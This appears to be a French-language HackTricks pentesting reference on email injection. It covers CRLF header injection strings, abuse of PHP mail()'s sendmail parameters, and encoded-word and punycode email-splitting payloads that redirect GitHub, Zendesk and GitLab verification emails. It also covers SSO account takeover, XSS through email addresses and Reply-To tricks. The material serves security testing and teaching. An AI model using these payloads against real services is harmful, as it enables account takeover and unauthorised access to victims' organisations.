hacktricks/src/pentesting-web/email-injections.md

194 lines
10 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
{{#include ../banners/hacktricks-training.md}}
## Injecter dans l'e-mail envoyé
### Injecter Cc et Bcc après l'argument expéditeur
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Le message sera envoyé aux comptes recipient et recipient1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Le message sera envoyé au destinataire original et au compte de l'attaquant.
### Injecter l'argument Sujet
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Le faux sujet sera ajouté au sujet original et dans certains cas le remplacera. Cela dépend du comportement du service de messagerie.
### Modifier le corps du message
Injectez un saut de ligne, puis écrivez votre message pour modifier le corps du message.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Exploitation de la fonction mail() de PHP
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### Le 5ème paramètre ($additional_parameters)
Cette section va se baser sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
Ce paramètre va être ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction `escapeshellcmd($additional_parameters)`.
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
#### Différences dans l'implémentation de /usr/sbin/sendmail
L'interface **sendmail** est **fournie par le logiciel MTA de messagerie** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste la **même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
- Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **fuiter des fichiers ou même exécuter des commandes arbitraires**. Vérifiez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Injecter dans le nom de l'e-mail
> [!CAUTION]
> Notez que si vous parvenez à créer un compte dans un service avec un nom de domaine arbitraire (comme Github, Gitlab, CloudFlare Zero trust...) et à le vérifier en recevant l'e-mail de vérification à votre adresse e-mail, vous pourriez être en mesure d'accéder à des emplacements sensibles de l'entreprise victime.
### Parties ignorées d'un e-mail
Les symboles : **+, -** et **{}** peuvent, dans de rares occasions, être utilisés pour le marquage et sont ignorés par la plupart des serveurs de messagerie.
- Par exemple, john.doe+intigriti@example.com → john.doe@example.com
**Les commentaires entre parenthèses ()** au début ou à la fin seront également ignorés.
- Par exemple, john.doe(intigriti)@example.com → john.doe@example.com
### Contournement de la liste blanche
<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Citations
<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IPs
Vous pouvez également utiliser des IP comme nom de domaine entre crochets :
- john.doe@\[127.0.0.1]
- john.doe@\[IPv6:2001:db8::1]
### Encodage des e-mails
Comme expliqué dans [**cette recherche**](https://portswigger.net/research/splitting-the-email-atom), les noms d'e-mail peuvent également contenir des caractères encodés :
- **Dépassement de capacité PHP 256** : La fonction PHP `chr` continuera à ajouter 256 à un caractère jusqu'à ce qu'il devienne positif, puis effectuera l'opération `%256`.
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
> [!TIP]
> Le but de cette astuce est de finir avec une injection comme `RCPT TO:<"collab@psres.net>collab"@example.com>`\
> qui enverra l'e-mail de vérification à une adresse e-mail différente de celle attendue (introduisant ainsi une autre adresse e-mail dans le nom de l'e-mail et brisant la syntaxe lors de l'envoi de l'e-mail).
Différents encodages :
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
- Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
- Notez que le `@` encodé est =40, le `>` encodé est `=3e` et `null` est `=00`
- Cela enverra l'email de vérification à `collab@psres.net`
- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
- Même astuce que précédemment mais ajoutant une citation régulière au début et une citation encodée `=22` avant le `@` encodé, puis ouvrant et fermant des citations avant le prochain email pour corriger la syntaxe utilisée en interne par Zendesk
- Cela enverra l'email de vérification à `collab@psres.net`
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
- Notez l'utilisation du soulignement comme espace pour séparer l'adresse
- Cela enverra l'email de vérification à `collab@psres.net`
- Punycode: En utilisant Punycode, il a été possible d'injecter une balise `<style` dans Joomla et de l'abuser pour voler le token CSRF via l'exfiltration CSS.
#### Tooling
- Il existe un **script Burp Suite Turbo Intruder** pour fuzz ces types de combinaisons afin d'essayer d'attaquer les formats d'email. Le script a déjà des combinaisons potentiellement fonctionnelles.
- Il est également possible d'utiliser [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) pour créer une attaque de séparation d'email
### Other vulns
![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)
## Third party SSO
### XSS
Certains services comme **github** ou **salesforce permettent** de créer une **adresse email avec des payloads XSS dessus**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services **ne nettoient pas** correctement l'email, vous pourriez provoquer **XSS**.
### Account-Takeover
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse email donnée** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un service différent** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
_Notez que salesforce indique si l'email donné a été vérifié ou non, mais l'application devrait donc prendre en compte cette information._
## Reply-To
Vous pouvez envoyer un email en utilisant _**From: company.com**_ et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée en raison de l'email envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
## Hard Bounce Rate
Certains services, comme AWS, mettent en œuvre un seuil connu sous le nom de **Hard Bounce Rate**, généralement fixé à 10 %. C'est un indicateur critique, surtout pour les services de livraison d'emails. Lorsque ce taux est dépassé, le service, comme le service email d'AWS, peut être suspendu ou bloqué.
Un **hard bounce** fait référence à un **email** qui a été renvoyé à l'expéditeur parce que l'adresse du destinataire est invalide ou inexistante. Cela peut se produire pour diverses raisons, telles que l'**email** étant envoyé à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur destinataire d'accepter les **emails**.
Dans le contexte d'AWS, si vous envoyez 1000 emails et que 100 d'entre eux entraînent des hard bounces (pour des raisons comme des adresses ou des domaines invalides), cela signifierait un taux de hard bounce de 10 %. Atteindre ou dépasser ce taux peut déclencher AWS SES (Simple Email Service) pour bloquer ou suspendre vos capacités d'envoi d'emails.
Il est crucial de maintenir un faible taux de hard bounce pour garantir un service email ininterrompu et maintenir la réputation de l'expéditeur. Surveiller et gérer la qualité des adresses email dans vos listes de diffusion peut grandement aider à atteindre cet objectif.
Pour des informations plus détaillées, la documentation officielle d'AWS sur la gestion des rebonds et des plaintes peut être consultée [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## References
- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
{{#include ../banners/hacktricks-training.md}}